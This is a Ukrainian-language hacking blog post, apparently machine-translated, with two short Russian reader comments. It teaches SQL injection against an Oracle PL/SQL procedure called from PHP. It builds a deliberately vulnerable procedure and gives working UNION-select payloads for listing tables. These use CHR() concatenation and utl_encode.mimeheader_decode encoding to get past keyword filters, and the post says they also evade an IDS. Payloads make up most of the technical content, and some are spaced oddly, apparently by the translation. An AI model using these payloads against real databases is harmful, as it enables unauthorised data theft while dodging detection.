Oracle Hack: Oracle DB обхід деяких обмежень.
І знову про Oracle ![]()
Header
Уявімо ситуацію:
1. Back-end: Oracle Database Sever (8i-10g).
2. Front-end: Apache + php (будь-http сервер + будь-який інтерпретатор, не важливо який, але для наочності візьмемо php, саме його я і використовував при написанні цієї статті).
3. Завдання: обійти обмеження і отримати якомога більше інформації
4. Захист: фільтр where, set, insert у запиті.
5. Ми будемо розглядати ін’єкцію в pl / sql процедуру, яка, в свою чергу, вже виконує sql запит
Content
Перше, і найголовніше, що робиться після виявлення sql | pl / sql ін’єкції,
це підбір стовпців. Тут, зазвичай, проблем не виникає, проблеми йдуть далі, коли ми хочемо дізнатися назву таблиць і стовпчиків.
example.org / dsu.php? param = p1 'union select table_name from all_tables where owner = user --
Не думаю, що варто, але просили писати більш детально так що буду пояснювати, що це за запит.
Table_name – це колонка з ім’ям таблиці, яка знаходиться в таблиці All_tables, where OWNER = USER. Тут все трохи складніше
owner – це стовпець у якому міститься ім’я користувача є “господарем” таблиці,
user – це функція, яка повертає ім’я поточного користувача.
Ну ось робимо такий запит і … у відповідь тиша, сервер нібито просто “обрубав” сесію, знайомо?
Але панікувати не варто і робити запити на вибірку всіх таблиць і колонок теж не варто, щодо таблиць можливо і можна, але от колонки – навряд чи сервер вам дозволить отримати таку кількість інформації (розміри буфера які передбачені для oci и.т. д і.т.п).
Вихід зі сформованої ситуації є, навіть не вихід, а виходи. Він полягає у чималій кількості функцій для роботи з текстом в oracle бд.
Ну знову ж таки менше тексту більше справи
Для наочності створимо з БД вразливу процедуру
CREATE OR REPLACE PROCEDURE GET (PARAM VARCHAR) IS TYPE C_TYPE IS REF CURSOR; CV C_TYPE; BUFFER VARCHAR2(200); BEGIN DBMS_OUTPUT.ENABLE(1000000); OPEN CV FOR 'SELECT USERNAME FROM ALL_USERS WHERE USERNAME = ''' || PARAM ||''''; LOOP FETCH CV INTO BUFFER; DBMS_OUTPUT.PUT_LINE(BUFFER); EXIT WHEN CV%NOTFOUND; END LOOP; CLOSE CV; END; / GRANT EXECUTE ON get TO PUBLIC
На те, що робить процедура довго зупинятися не буду, знову ж таки все просто
1.Получаем параметр
2.Создаем курсор
3.Парсім курсор
4.Виполняем курсор
5.Висновок на екран.
З php викликати як
... $ sql = 'BEGIN get (\' $ _GET [param] \ '); END;'; ...
Думаю тут пояснювати нічого не треба.
Вступу і підготовка закінчені тепер до справи.
Варіант перший: chr ();
SYS 'UNION select TABLE_NAME FROM ALL_TABLES' | | CHR (119) | | 'HERE OWNER =''FLOWS_FILES''-')
замість where ми вставляємо ‘| | CHR (119) | |’ HERE, тобто символ W “довставляється” функцією CHR () і додається до запиту, використовуючи символи конкатенації рядків | |.
Як видно вище, where ми не передаємо, з цієї причини запит проходить. Користуючись даним методом можна багато чого обійти, наприклад, фільтрацію лапок, це неодноразово згадувалося багатьма авторами.
Варіант другий: utl_encode.mimeheader_decode ()
SYS 'UNION select TABLE_NAME FROM ALL_TABLES' | | utl_encode.mimeheader_decode ( '=? UTF-8? Q? W ?=')||' HERE OWNER =''FLOWS_FILES''
Тут той же метод, тільки ми використовуємо іншу функцію для роботи з рядками, а саме utl_encode.mimeheader_decode (), яка входить до utl_encode, загалом все просто.
Можна фантазувати і далі, і фантазія призведе до такого :
SYS'' '| | utl_encode.mimeheader_decode (' =? UTF-8? Q? UNION = 20select = 20TABLE = 5FNAME = 20FROM = 20ALL = 5FTABLES = 20WHERE = 20? ==? UTF-8? Q? OWNER = 3D ' 'FLOWS = 5FFILES''?=')||' --
А це вже обхід IDS, плюс саме цієї функції в тому, що лапки в тексті можна розставити і після кодування, що зручно, а також ще є можливість явно вказати в якому кодуванні текст.
Footer
Дана стаття – не зовсім стаття, це просто набір порад, не більше того. Я не використовував base64 свідомо, так як на увазі популярність даного алгоритму будь-яка нормальна IDS звертає на нього увагу, та й прикладів його використання ви знайдете безліч. Я не претендую на те, що це єдиний спосіб. Це можна розцінювати як підказки.
Приятно видеть, что не все зацикливаются на PHP+MySQL.
Вот и я так думаю… но не все это готовы принять большинство заглядывать дальше LAMP-а не хочет…